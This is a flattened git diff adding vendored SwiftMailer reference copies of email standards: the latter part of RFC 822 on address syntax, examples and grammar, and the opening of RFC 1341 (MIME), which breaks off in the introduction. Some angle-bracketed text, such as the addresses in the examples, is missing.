"J" is not used. The other remaining two forms are taken + from ANSI standard X3.51-1975. One allows explicit indication of + the amount of offset from UT; the other uses common 3-character + strings for indicating time zones in North America. + + + August 13, 1982 - 26 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + 6. ADDRESS SPECIFICATION + + 6.1. SYNTAX + + address = mailbox ; one addressee + / group ; named list + + group = phrase ":" [#mailbox] ";" + + mailbox = addr-spec ; simple address + / phrase route-addr ; name & addr-spec + + route-addr = "<" [route] addr-spec ">" + + route = 1#("@" domain) ":" ; path-relative + + addr-spec = local-part "@" domain ; global address + + local-part = word *("." word) ; uninterpreted + ; case-preserved + + domain = sub-domain *("." sub-domain) + + sub-domain = domain-ref / domain-literal + + domain-ref = atom ; symbolic reference + + 6.2. SEMANTICS + + A mailbox receives mail. It is a conceptual entity which + does not necessarily pertain to file storage. For example, some + sites may choose to print mail on their line printer and deliver + the output to the addressee's desk. + + A mailbox specification comprises a person, system or pro- + cess name reference, a domain-dependent string, and a name-domain + reference. The name reference is optional and is usually used to + indicate the human name of a recipient. The name-domain refer- + ence specifies a sequence of sub-domains. The domain-dependent + string is uninterpreted, except by the final sub-domain; the rest + of the mail service merely transmits it as a literal string. + + 6.2.1. DOMAINS + + A name-domain is a set of registered (mail) names. A name- + domain specification resolves to a subordinate name-domain + specification or to a terminal domain-dependent string. + Hence, domain specification is extensible, permitting any + number of registration levels. + + + August 13, 1982 - 27 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + Name-domains model a global, logical, hierarchical addressing + scheme. The model is logical, in that an address specifica- + tion is related to name registration and is not necessarily + tied to transmission path. The model's hierarchy is a + directed graph, called an in-tree, such that there is a single + path from the root of the tree to any node in the hierarchy. + If more than one path actually exists, they are considered to + be different addresses. + + The root node is common to all addresses; consequently, it is + not referenced. Its children constitute "top-level" name- + domains. Usually, a service has access to its own full domain + specification and to the names of all top-level name-domains. + + The "top" of the domain addressing hierarchy -- a child of the + root -- is indicated by the right-most field, in a domain + specification. Its child is specified to the left, its child + to the left, and so on. + + Some groups provide formal registration services; these con- + stitute name-domains that are independent logically of + specific machines. In addition, networks and machines impli- + citly compose name-domains, since their membership usually is + registered in name tables. + + In the case of formal registration, an organization implements + a (distributed) data base which provides an address-to-route + mapping service for addresses of the form: + + person@registry.organization + + Note that "organization" is a logical entity, separate from + any particular communication network. + + A mechanism for accessing "organization" is universally avail- + able. That mechanism, in turn, seeks an instantiation of the + registry; its location is not indicated in the address specif- + ication. It is assumed that the system which operates under + the name "organization" knows how to find a subordinate regis- + try. The registry will then use the "person" string to deter- + mine where to send the mail specification. + + The latter, network-oriented case permits simple, direct, + attachment-related address specification, such as: + + user@host.network + + Once the network is accessed, it is expected that a message + will go directly to the host and that the host will resolve + + + August 13, 1982 - 28 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + the user name, placing the message in the user's mailbox. + + 6.2.2. ABBREVIATED DOMAIN SPECIFICATION + + Since any number of levels is possible within the domain + hierarchy, specification of a fully qualified address can + become inconvenient. This standard permits abbreviated domain + specification, in a special case: + + For the address of the sender, call the left-most + sub-domain Level N. In a header address, if all of + the sub-domains above (i.e., to the right of) Level N + are the same as those of the sender, then they do not + have to appear in the specification. Otherwise, the + address must be fully qualified. + + This feature is subject to approval by local sub- + domains. Individual sub-domains may require their + member systems, which originate mail, to provide full + domain specification only. When permitted, abbrevia- + tions may be present only while the message stays + within the sub-domain of the sender. + + Use of this mechanism requires the sender's sub-domain + to reserve the names of all top-level domains, so that + full specifications can be distinguished from abbrevi- + ated specifications. + + For example, if a sender's address is: + + sender@registry-A.registry-1.organization-X + + and one recipient's address is: + + recipient@registry-B.registry-1.organization-X + + and another's is: + + recipient@registry-C.registry-2.organization-X + + then ".registry-1.organization-X" need not be specified in the + the message, but "registry-C.registry-2" DOES have to be + specified. That is, the first two addresses may be abbrevi- + ated, but the third address must be fully specified. + + When a message crosses a domain boundary, all addresses must + be specified in the full format, ending with the top-level + name-domain in the right-most field. It is the responsibility + of mail forwarding services to ensure that addresses conform + + + August 13, 1982 - 29 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + with this requirement. In the case of abbreviated addresses, + the relaying service must make the necessary expansions. It + should be noted that it often is difficult for such a service + to locate all occurrences of address abbreviations. For exam- + ple, it will not be possible to find such abbreviations within + the body of the message. The "Return-Path" field can aid + recipients in recovering from these errors. + + Note: When passing any portion of an addr-spec onto a process + which does not interpret data according to this stan- + dard (e.g., mail protocol servers). There must be NO + LWSP-chars preceding or following the at-sign or any + delimiting period ("."), such as shown in the above + examples, and only ONE SPACE between contiguous + s. + + 6.2.3. DOMAIN TERMS + + A domain-ref must be THE official name of a registry, network, + or host. It is a symbolic reference, within a name sub- + domain. At times, it is necessary to bypass standard mechan- + isms for resolving such references, using more primitive + information, such as a network host address rather than its + associated host name. + + To permit such references, this standard provides the domain- + literal construct. Its contents must conform with the needs + of the sub-domain in which it is interpreted. + + Domain-literals which refer to domains within the ARPA Inter- + net specify 32-bit Internet addresses, in four 8-bit fields + noted in decimal, as described in Request for Comments #820, + "Assigned Numbers." For example: + + [10.0.3.19] + + Note: THE USE OF DOMAIN-LITERALS IS STRONGLY DISCOURAGED. It + is permitted only as a means of bypassing temporary + system limitations, such as name tables which are not + complete. + + The names of "top-level" domains, and the names of domains + under in the ARPA Internet, are registered with the Network + Information Center, SRI International, Menlo Park, California. + + 6.2.4. DOMAIN-DEPENDENT LOCAL STRING + + The local-part of an addr-spec in a mailbox specification + (i.e., the host's name for the mailbox) is understood to be + + + August 13, 1982 - 30 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + whatever the receiving mail protocol server allows. For exam- + ple, some systems do not understand mailbox references of the + form "P. D. Q. Bach", but others do. + + This specification treats periods (".") as lexical separators. + Hence, their presence in local-parts which are not quoted- + strings, is detected. However, such occurrences carry NO + semantics. That is, if a local-part has periods within it, an + address parser will divide the local-part into several tokens, + but the sequence of tokens will be treated as one uninter- + preted unit. The sequence will be re-assembled, when the + address is passed outside of the system such as to a mail pro- + tocol service. + + For example, the address: + + First.Last@Registry.Org + + is legal and does not require the local-part to be surrounded + with quotation-marks. (However, "First Last" DOES require + quoting.) The local-part of the address, when passed outside + of the mail system, within the Registry.Org domain, is + "First.Last", again without quotation marks. + + 6.2.5. BALANCING LOCAL-PART AND DOMAIN + + In some cases, the boundary between local-part and domain can + be flexible. The local-part may be a simple string, which is + used for the final determination of the recipient's mailbox. + All other levels of reference are, therefore, part of the + domain. + + For some systems, in the case of abbreviated reference to the + local and subordinate sub-domains, it may be possible to + specify only one reference within the domain part and place + the other, subordinate name-domain references within the + local-part. This would appear as: + + mailbox.sub1.sub2@this-domain + + Such a specification would be acceptable to address parsers + which conform to RFC #733, but do not support this newer + Internet standard. While contrary to the intent of this stan- + dard, the form is legal. + + Also, some sub-domains have a specification syntax which does + not conform to this standard. For example: + + sub-net.mailbox@sub-domain.domain + + + August 13, 1982 - 31 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + uses a different parsing sequence for local-part than for + domain. + + Note: As a rule, the domain specification should contain + fields which are encoded according to the syntax of + this standard and which contain generally-standardized + information. The local-part specification should con- + tain only that portion of the address which deviates + from the form or intention of the domain field. + + 6.2.6. MULTIPLE MAILBOXES + + An individual may have several mailboxes and wish to receive + mail at whatever mailbox is convenient for the sender to + access. This standard does not provide a means of specifying + "any member of" a list of mailboxes. + + A set of individuals may wish to receive mail as a single unit + (i.e., a distribution list). The construct permits + specification of such a list. Recipient mailboxes are speci- + fied within the bracketed part (":" - ";"). A copy of the + transmitted message is to be sent to each mailbox listed. + This standard does not permit recursive specification of + groups within groups. + + While a list must be named, it is not required that the con- + tents of the list be included. In this case, the
            + serves only as an indication of group distribution and would + appear in the form: + + name:; + + Some mail services may provide a group-list distribution + facility, accepting a single mailbox reference, expanding it + to the full distribution list, and relaying the mail to the + list's members. This standard provides no additional syntax + for indicating such a service. Using the address + alternative, while listing one mailbox in it, can mean either + that the mailbox reference will be expanded to a list or that + there is a group with one member. + + 6.2.7. EXPLICIT PATH SPECIFICATION + + At times, a message originator may wish to indicate the + transmission path that a message should follow. This is + called source routing. The normal addressing scheme, used in + an addr-spec, is carefully separated from such information; + the portion of a route-addr is provided for such occa- + sions. It specifies the sequence of hosts and/or transmission + + + August 13, 1982 - 32 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + services that are to be traversed. Both domain-refs and + domain-literals may be used. + + Note: The use of source routing is discouraged. Unless the + sender has special need of path restriction, the choice + of transmission route should be left to the mail tran- + sport service. + + 6.3. RESERVED ADDRESS + + It often is necessary to send mail to a site, without know- + ing any of its valid addresses. For example, there may be mail + system dysfunctions, or a user may wish to find out a person's + correct address, at that site. + + This standard specifies a single, reserved mailbox address + (local-part) which is to be valid at each site. Mail sent to + that address is to be routed to a person responsible for the + site's mail system or to a person with responsibility for general + site operation. The name of the reserved local-part address is: + + Postmaster + + so that "Postmaster@domain" is required to be valid. + + Note: This reserved local-part must be matched without sensi- + tivity to alphabetic case, so that "POSTMASTER", "postmas- + ter", and even "poStmASteR" is to be accepted. + + + + + + + + + + + + + + + + + + + + + + + + August 13, 1982 - 33 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + 7. BIBLIOGRAPHY + + + ANSI. "USA Standard Code for Information Interchange," X3.4. + American National Standards Institute: New York (1968). Also + in: Feinler, E. and J. Postel, eds., "ARPANET Protocol Hand- + book", NIC 7104. + + ANSI. "Representations of Universal Time, Local Time Differen- + tials, and United States Time Zone References for Information + Interchange," X3.51-1975. American National Standards Insti- + tute: New York (1975). + + Bemer, R.W., "Time and the Computer." In: Interface Age (Feb. + 1979). + + Bennett, C.J. "JNT Mail Protocol". Joint Network Team, Ruther- + ford and Appleton Laboratory: Didcot, England. + + Bhushan, A.K., Pogran, K.T., Tomlinson, R.S., and White, J.E. + "Standardizing Network Mail Headers," ARPANET Request for + Comments No. 561, Network Information Center No. 18516; SRI + International: Menlo Park (September 1973). + + Birrell, A.D., Levin, R., Needham, R.M., and Schroeder, M.D. + "Grapevine: An Exercise in Distributed Computing," Communica- + tions of the ACM 25, 4 (April 1982), 260-274. + + Crocker, D.H., Vittal, J.J., Pogran, K.T., Henderson, D.A. + "Standard for the Format of ARPA Network Text Message," + ARPANET Request for Comments No. 733, Network Information + Center No. 41952. SRI International: Menlo Park (November + 1977). + + Feinler, E.J. and Postel, J.B. ARPANET Protocol Handbook, Net- + work Information Center No. 7104 (NTIS AD A003890). SRI + International: Menlo Park (April 1976). + + Harary, F. "Graph Theory". Addison-Wesley: Reading, Mass. + (1969). + + Levin, R. and Schroeder, M. "Transport of Electronic Messages + through a Network," TeleInformatics 79, pp. 29-33. North + Holland (1979). Also as Xerox Palo Alto Research Center + Technical Report CSL-79-4. + + Myer, T.H. and Henderson, D.A. "Message Transmission Protocol," + ARPANET Request for Comments, No. 680, Network Information + Center No. 32116. SRI International: Menlo Park (1975). + + + August 13, 1982 - 34 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + NBS. "Specification of Message Format for Computer Based Message + Systems, Recommended Federal Information Processing Standard." + National Bureau of Standards: Gaithersburg, Maryland + (October 1981). + + NIC. Internet Protocol Transition Workbook. Network Information + Center, SRI-International, Menlo Park, California (March + 1982). + + Oppen, D.C. and Dalal, Y.K. "The Clearinghouse: A Decentralized + Agent for Locating Named Objects in a Distributed Environ- + ment," OPD-T8103. Xerox Office Products Division: Palo Alto, + CA. (October 1981). + + Postel, J.B. "Assigned Numbers," ARPANET Request for Comments, + No. 820. SRI International: Menlo Park (August 1982). + + Postel, J.B. "Simple Mail Transfer Protocol," ARPANET Request + for Comments, No. 821. SRI International: Menlo Park (August + 1982). + + Shoch, J.F. "Internetwork naming, addressing and routing," in + Proc. 17th IEEE Computer Society International Conference, pp. + 72-79, Sept. 1978, IEEE Cat. No. 78 CH 1388-8C. + + Su, Z. and Postel, J. "The Domain Naming Convention for Internet + User Applications," ARPANET Request for Comments, No. 819. + SRI International: Menlo Park (August 1982). + + + + + + + + + + + + + + + + + + + + + + + + August 13, 1982 - 35 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + APPENDIX + + + A. EXAMPLES + + A.1. ADDRESSES + + A.1.1. Alfred Neuman + + A.1.2. Neuman@BBN-TENEXA + + These two "Alfred Neuman" examples have identical seman- + tics, as far as the operation of the local host's mail sending + (distribution) program (also sometimes called its "mailer") + and the remote host's mail protocol server are concerned. In + the first example, the "Alfred Neuman" is ignored by the + mailer, as "Neuman@BBN-TENEXA" completely specifies the reci- + pient. The second example contains no superfluous informa- + tion, and, again, "Neuman@BBN-TENEXA" is the intended reci- + pient. + + Note: When the message crosses name-domain boundaries, then + these specifications must be changed, so as to indicate + the remainder of the hierarchy, starting with the top + level. + + A.1.3. "George, Ted" + + This form might be used to indicate that a single mailbox + is shared by several users. The quoted string is ignored by + the originating host's mailer, because "Shared@Group.Arpanet" + completely specifies the destination mailbox. + + A.1.4. Wilt . (the Stilt) Chamberlain@NBA.US + + The "(the Stilt)" is a comment, which is NOT included in + the destination mailbox address handed to the originating + system's mailer. The local-part of the address is the string + "Wilt.Chamberlain", with NO space between the first and second + words. + + A.1.5. Address Lists + + Gourmets: Pompous Person , + Childs@WGBH.Boston, Galloping Gourmet@ + ANT.Down-Under (Australian National Television), + Cheapie@Discount-Liquors;, + Cruisers: Port@Portugal, Jones@SEA;, + Another@Somewhere.SomeOrg + + + August 13, 1982 - 36 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + This group list example points out the use of comments and the + mixing of addresses and groups. + + A.2. ORIGINATOR ITEMS + + A.2.1. Author-sent + + George Jones logs into his host as "Jones". He sends + mail himself. + + From: Jones@Group.Org + + or + + From: George Jones + + A.2.2. Secretary-sent + + George Jones logs in as Jones on his host. His secre- + tary, who logs in as Secy sends mail for him. Replies to the + mail should go to George. + + From: George Jones + Sender: Secy@Other-Group + + A.2.3. Secretary-sent, for user of shared directory + + George Jones' secretary sends mail for George. Replies + should go to George. + + From: George Jones + Sender: Secy@Other-Group + + Note that there need not be a space between "Jones" and the + "<", but adding a space enhances readability (as is the case + in other examples. + + A.2.4. Committee activity, with one author + + George is a member of a committee. He wishes to have any + replies to his message go to all committee members. + + From: George Jones + Sender: Jones@Host + Reply-To: The Committee: Jones@Host.Net, + Smith@Other.Org, + Doe@Somewhere-Else; + + Note that if George had not included himself in the + + + August 13, 1982 - 37 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + enumeration of The Committee, he would not have gotten an + implicit reply; the presence of the "Reply-to" field SUPER- + SEDES the sending of a reply to the person named in the "From" + field. + + A.2.5. Secretary acting as full agent of author + + George Jones asks his secretary (Secy@Host) to send a + message for him in his capacity as Group. He wants his secre- + tary to handle all replies. + + From: George Jones + Sender: Secy@Host + Reply-To: Secy@Host + + A.2.6. Agent for user without online mailbox + + A friend of George's, Sarah, is visiting. George's + secretary sends some mail to a friend of Sarah in computer- + land. Replies should go to George, whose mailbox is Jones at + Registry. + + From: Sarah Friendly + Sender: Secy-Name + Reply-To: Jones@Registry. + + A.2.7. Agent for member of a committee + + George's secretary sends out a message which was authored + jointly by all the members of a committee. Note that the name + of the committee cannot be specified, since names are + not permitted in the From field. + + From: Jones@Host, + Smith@Other-Host, + Doe@Somewhere-Else + Sender: Secy@SHost + + + + + + + + + + + + + + + August 13, 1982 - 38 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + A.3. COMPLETE HEADERS + + A.3.1. Minimum required + + Date: 26 Aug 76 1429 EDT Date: 26 Aug 76 1429 EDT + From: Jones@Registry.Org or From: Jones@Registry.Org + Bcc: To: Smith@Registry.Org + + Note that the "Bcc" field may be empty, while the "To" field + is required to have at least one address. + + A.3.2. Using some of the additional fields + + Date: 26 Aug 76 1430 EDT + From: George Jones + Sender: Secy@SHOST + To: "Al Neuman"@Mad-Host, + Sam.Irving@Other-Host + Message-ID: + + A.3.3. About as complex as you're going to get + + Date : 27 Aug 76 0932 PDT + From : Ken Davis + Subject : Re: The Syntax in the RFC + Sender : KSecy@Other-Host + Reply-To : Sam.Irving@Reg.Organization + To : George Jones , + Al.Neuman@MAD.Publisher + cc : Important folk: + Tom Softwood , + "Sam Irving"@Other-Host;, + Standard Distribution: + /main/davis/people/standard@Other-Host, + "standard.dist.3"@Tops-20-Host>; + Comment : Sam is away on business. He asked me to handle + his mail for him. He'll be able to provide a + more accurate explanation when he returns + next week. + In-Reply-To: , George's message + X-Special-action: This is a sample of user-defined field- + names. There could also be a field-name + "Special-action", but its name might later be + preempted + Message-ID: <4231.629.XYzi-What@Other-Host> + + + + + + + August 13, 1982 - 39 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + B. SIMPLE FIELD PARSING + + Some mail-reading software systems may wish to perform only + minimal processing, ignoring the internal syntax of structured + field-bodies and treating them the same as unstructured-field- + bodies. Such software will need only to distinguish: + + o Header fields from the message body, + + o Beginnings of fields from lines which continue fields, + + o Field-names from field-contents. + + The abbreviated set of syntactic rules which follows will + suffice for this purpose. It describes a limited view of mes- + sages and is a subset of the syntactic rules provided in the main + part of this specification. One small exception is that the con- + tents of field-bodies consist only of text: + + B.1. SYNTAX + + + message = *field *(CRLF *text) + + field = field-name ":" [field-body] CRLF + + field-name = 1* + + field-body = *text [CRLF LWSP-char field-body] + + + B.2. SEMANTICS + + Headers occur before the message body and are terminated by + a null line (i.e., two contiguous CRLFs). + + A line which continues a header field begins with a SPACE or + HTAB character, while a line beginning a field starts with a + printable character which is not a colon. + + A field-name consists of one or more printable characters + (excluding colon, space, and control-characters). A field-name + MUST be contained on one line. Upper and lower case are not dis- + tinguished when comparing field-names. + + + + + + + + August 13, 1982 - 40 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + C. DIFFERENCES FROM RFC #733 + + The following summarizes the differences between this stan- + dard and the one specified in Arpanet Request for Comments #733, + "Standard for the Format of ARPA Network Text Messages". The + differences are listed in the order of their occurrence in the + current specification. + + C.1. FIELD DEFINITIONS + + C.1.1. FIELD NAMES + + These now must be a sequence of printable characters. They + may not contain any LWSP-chars. + + C.2. LEXICAL TOKENS + + C.2.1. SPECIALS + + The characters period ("."), left-square bracket ("["), and + right-square bracket ("]") have been added. For presentation + purposes, and when passing a specification to a system that + does not conform to this standard, periods are to be contigu- + ous with their surrounding lexical tokens. No linear-white- + space is permitted between them. The presence of one LWSP- + char between other tokens is still directed. + + C.2.2. ATOM + + Atoms may not contain SPACE. + + C.2.3. SPECIAL TEXT + + ctext and qtext have had backslash ("\") added to the list of + prohibited characters. + + C.2.4. DOMAINS + + The lexical tokens and have been + added. + + C.3. MESSAGE SPECIFICATION + + C.3.1. TRACE + + The "Return-path:" and "Received:" fields have been specified. + + + + + + August 13, 1982 - 41 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + C.3.2. FROM + + The "From" field must contain machine-usable addresses (addr- + spec). Multiple addresses may be specified, but named-lists + (groups) may not. + + C.3.3. RESENT + + The meta-construct of prefacing field names with the string + "Resent-" has been added, to indicate that a message has been + forwarded by an intermediate recipient. + + C.3.4. DESTINATION + + A message must contain at least one destination address field. + "To" and "CC" are required to contain at least one address. + + C.3.5. IN-REPLY-TO + + The field-body is no longer a comma-separated list, although a + sequence is still permitted. + + C.3.6. REFERENCE + + The field-body is no longer a comma-separated list, although a + sequence is still permitted. + + C.3.7. ENCRYPTED + + A field has been specified that permits senders to indicate + that the body of a message has been encrypted. + + C.3.8. EXTENSION-FIELD + + Extension fields are prohibited from beginning with the char- + acters "X-". + + C.4. DATE AND TIME SPECIFICATION + + C.4.1. SIMPLIFICATION + + Fewer optional forms are permitted and the list of three- + letter time zones has been shortened. + + C.5. ADDRESS SPECIFICATION + + + + + + + August 13, 1982 - 42 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + C.5.1. ADDRESS + + The use of quoted-string, and the ":"-atom-":" construct, have + been removed. An address now is either a single mailbox + reference or is a named list of addresses. The latter indi- + cates a group distribution. + + C.5.2. GROUPS + + Group lists are now required to to have a name. Group lists + may not be nested. + + C.5.3. MAILBOX + + A mailbox specification may indicate a person's name, as + before. Such a named list no longer may specify multiple + mailboxes and may not be nested. + + C.5.4. ROUTE ADDRESSING + + Addresses now are taken to be absolute, global specifications, + independent of transmission paths. The construct has + been provided, to permit explicit specification of transmis- + sion path. RFC #733's use of multiple at-signs ("@") was + intended as a general syntax for indicating routing and/or + hierarchical addressing. The current standard separates these + specifications and only one at-sign is permitted. + + C.5.5. AT-SIGN + + The string " at " no longer is used as an address delimiter. + Only at-sign ("@") serves the function. + + C.5.6. DOMAINS + + Hierarchical, logical name-domains have been added. + + C.6. RESERVED ADDRESS + + The local-part "Postmaster" has been reserved, so that users can + be guaranteed at least one valid address at a site. + + + + + + + + + + + August 13, 1982 - 43 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + D. ALPHABETICAL LISTING OF SYNTAX RULES + + address = mailbox ; one addressee + / group ; named list + addr-spec = local-part "@" domain ; global address + ALPHA = + ; (101-132, 65.- 90.) + ; (141-172, 97.-122.) + atom = 1* + authentic = "From" ":" mailbox ; Single author + / ( "Sender" ":" mailbox ; Actual submittor + "From" ":" 1#mailbox) ; Multiple authors + ; or not sender + CHAR = ; ( 0-177, 0.-127.) + comment = "(" *(ctext / quoted-pair / comment) ")" + CR = ; ( 15, 13.) + CRLF = CR LF + ctext = may be folded + ")", "\" & CR, & including + linear-white-space> + CTL = ; ( 177, 127.) + date = 1*2DIGIT month 2DIGIT ; day month year + ; e.g. 20 Jun 82 + dates = orig-date ; Original + [ resent-date ] ; Forwarded + date-time = [ day "," ] date time ; dd mm yy + ; hh:mm:ss zzz + day = "Mon" / "Tue" / "Wed" / "Thu" + / "Fri" / "Sat" / "Sun" + delimiters = specials / linear-white-space / comment + destination = "To" ":" 1#address ; Primary + / "Resent-To" ":" 1#address + / "cc" ":" 1#address ; Secondary + / "Resent-cc" ":" 1#address + / "bcc" ":" #address ; Blind carbon + / "Resent-bcc" ":" #address + DIGIT = ; ( 60- 71, 48.- 57.) + domain = sub-domain *("." sub-domain) + domain-literal = "[" *(dtext / quoted-pair) "]" + domain-ref = atom ; symbolic reference + dtext = may be folded + "]", "\" & CR, & including + linear-white-space> + extension-field = + + + + August 13, 1982 - 44 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + field = field-name ":" [ field-body ] CRLF + fields = dates ; Creation time, + source ; author id & one + 1*destination ; address required + *optional-field ; others optional + field-body = field-body-contents + [CRLF LWSP-char field-body] + field-body-contents = + + field-name = 1* + group = phrase ":" [#mailbox] ";" + hour = 2DIGIT ":" 2DIGIT [":" 2DIGIT] + ; 00:00:00 - 23:59:59 + HTAB = ; ( 11, 9.) + LF = ; ( 12, 10.) + linear-white-space = 1*([CRLF] LWSP-char) ; semantics = SPACE + ; CRLF => folding + local-part = word *("." word) ; uninterpreted + ; case-preserved + LWSP-char = SPACE / HTAB ; semantics = SPACE + mailbox = addr-spec ; simple address + / phrase route-addr ; name & addr-spec + message = fields *( CRLF *text ) ; Everything after + ; first null line + ; is message body + month = "Jan" / "Feb" / "Mar" / "Apr" + / "May" / "Jun" / "Jul" / "Aug" + / "Sep" / "Oct" / "Nov" / "Dec" + msg-id = "<" addr-spec ">" ; Unique message id + optional-field = + / "Message-ID" ":" msg-id + / "Resent-Message-ID" ":" msg-id + / "In-Reply-To" ":" *(phrase / msg-id) + / "References" ":" *(phrase / msg-id) + / "Keywords" ":" #phrase + / "Subject" ":" *text + / "Comments" ":" *text + / "Encrypted" ":" 1#2word + / extension-field ; To be defined + / user-defined-field ; May be pre-empted + orig-date = "Date" ":" date-time + originator = authentic ; authenticated addr + [ "Reply-To" ":" 1#address] ) + phrase = 1*word ; Sequence of words + + + + + August 13, 1982 - 45 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + qtext = , ; => may be folded + "\" & CR, and including + linear-white-space> + quoted-pair = "\" CHAR ; may quote any char + quoted-string = <"> *(qtext/quoted-pair) <">; Regular qtext or + ; quoted chars. + received = "Received" ":" ; one per relay + ["from" domain] ; sending host + ["by" domain] ; receiving host + ["via" atom] ; physical path + *("with" atom) ; link/mail protocol + ["id" msg-id] ; receiver msg id + ["for" addr-spec] ; initial form + ";" date-time ; time received + + resent = resent-authentic + [ "Resent-Reply-To" ":" 1#address] ) + resent-authentic = + = "Resent-From" ":" mailbox + / ( "Resent-Sender" ":" mailbox + "Resent-From" ":" 1#mailbox ) + resent-date = "Resent-Date" ":" date-time + return = "Return-path" ":" route-addr ; return address + route = 1#("@" domain) ":" ; path-relative + route-addr = "<" [route] addr-spec ">" + source = [ trace ] ; net traversals + originator ; original mail + [ resent ] ; forwarded + SPACE = ; ( 40, 32.) + specials = "(" / ")" / "<" / ">" / "@" ; Must be in quoted- + / "," / ";" / ":" / "\" / <"> ; string, to use + / "." / "[" / "]" ; within a word. + sub-domain = domain-ref / domain-literal + text = atoms, specials, + CR & bare LF, but NOT ; comments and + including CRLF> ; quoted-strings are + ; NOT recognized. + time = hour zone ; ANSI and Military + trace = return ; path to sender + 1*received ; receipt tags + user-defined-field = + + word = atom / quoted-string + + + + + August 13, 1982 - 46 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + zone = "UT" / "GMT" ; Universal Time + ; North American : UT + / "EST" / "EDT" ; Eastern: - 5/ - 4 + / "CST" / "CDT" ; Central: - 6/ - 5 + / "MST" / "MDT" ; Mountain: - 7/ - 6 + / "PST" / "PDT" ; Pacific: - 8/ - 7 + / 1ALPHA ; Military: Z = UT; + <"> = ; ( 42, 34.) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + August 13, 1982 - 47 - RFC #822 + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc1341.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc1341.txt new file mode 100644 index 00000000..1be6f7d6 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc1341.txt @@ -0,0 +1,5265 @@ + + + + + + + Network Working Group N. Borenstein, Bellcore + Request for Comments: 1341 N. Freed, Innosoft + June 1992 + + + + MIME (Multipurpose Internet Mail Extensions): + + + Mechanisms for Specifying and Describing + the Format of Internet Message Bodies + + + Status of this Memo + + This RFC specifies an IAB standards track protocol for the + Internet community, and requests discussion and suggestions + for improvements. Please refer to the current edition of + the "IAB Official Protocol Standards" for the + standardization state and status of this protocol. + Distribution of this memo is unlimited. + + Abstract + + RFC 822 defines a message representation protocol which + specifies considerable detail about message headers, but + which leaves the message content, or message body, as flat + ASCII text. This document redefines the format of message + bodies to allow multi-part textual and non-textual message + bodies to be represented and exchanged without loss of + information. This is based on earlier work documented in + RFC 934 and RFC 1049, but extends and revises that work. + Because RFC 822 said so little about message bodies, this + document is largely orthogonal to (rather than a revision + of) RFC 822. + + In particular, this document is designed to provide + facilities to include multiple objects in a single message, + to represent body text in character sets other than US- + ASCII, to represent formatted multi-font text messages, to + represent non-textual material such as images and audio + fragments, and generally to facilitate later extensions + defining new types of Internet mail for use by cooperating + mail agents. + + This document does NOT extend Internet mail header fields to + permit anything other than US-ASCII text data. It is + recognized that such extensions are necessary, and they are + the subject of a companion document [RFC -1342]. + + A table of contents appears at the end of this document. + + + + + + + Borenstein & Freed [Page i] + + + + + + + + 1 Introduction + + Since its publication in 1982, RFC 822 [RFC-822] has defined + the standard format of textual mail messages on the + Internet. Its success has been such that the RFC 822 format + has been adopted, wholly or partially, well beyond the + confines of the Internet and the Internet SMTP transport + defined by RFC 821 [RFC-821]. As the format has seen wider + use, a number of limitations have proven increasingly + restrictive for the user community. + + RFC 822 was intended to specify a format for text messages. + As such, non-text messages, such as multimedia messages that + might include audio or images, are simply not mentioned. + Even in the case of text, however, RFC 822 is inadequate for + the needs of mail users whose languages require the use of + character sets richer than US ASCII [US-ASCII]. Since RFC + 822 does not specify mechanisms for mail containing audio, + video, Asian language text, or even text in most European + languages, additional specifications are needed + + One of the notable limitations of RFC 821/822 based mail + systems is the fact that they limit the contents of + electronic mail messages to relatively short lines of + seven-bit ASCII. This forces users to convert any non- + textual data that they may wish to send into seven-bit bytes + representable as printable ASCII characters before invoking + a local mail UA (User Agent, a program with which human + users send and receive mail). Examples of such encodings + currently used in the Internet include pure hexadecimal, + uuencode, the 3-in-4 base 64 scheme specified in RFC 1113, + the Andrew Toolkit Representation [ATK], and many others. + + The limitations of RFC 822 mail become even more apparent as + gateways are designed to allow for the exchange of mail + messages between RFC 822 hosts and X.400 hosts. X.400 [X400] + specifies mechanisms for the inclusion of non-textual body + parts within electronic mail messages. The current + standards for the mapping of X.400 messages to RFC 822 + messages specify that either X.400 non-textual body parts + should be converted to (not encoded in) an ASCII format, or + that they should be discarded, notifying the RFC 822 user + that discarding has occurred. This is clearly undesirable, + as information that a user may wish to receive is lost. + Even though a user's UA may not have the capability of + dealing with the non-textual body part, the user might have + some mechanism external to the UA that can extract useful + information from the body part. Moreover, it does not allow + for the fact that the message may eventually be gatewayed + back into an X.400 message handling system (i.e., the X.400 + message is "tunneled" through Internet mail), where the + non-textual information would definitely become useful + again. + + + + + Borenstein & Freed [Page 1] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + This document describes several mechanisms that combine to + solve most of these problems without introducing any serious + incompatibilities with the existing world of RFC 822 mail. + In particular, it describes: + + 1. A MIME-Version header field, which uses a version number + to declare a message to be conformant with this + specification and allows mail processing agents to + distinguish between such messages and those generated + by older or non-conformant software, which is presumed + to lack such a field. + + 2. A Content-Type header field, generalized from RFC 1049 + [RFC-1049], which can be used to specify the type and + subtype of data in the body of a message and to fully + specify the native representation (encoding) of such + data. + + 2.a. A "text" Content-Type value, which can be used to + represent textual 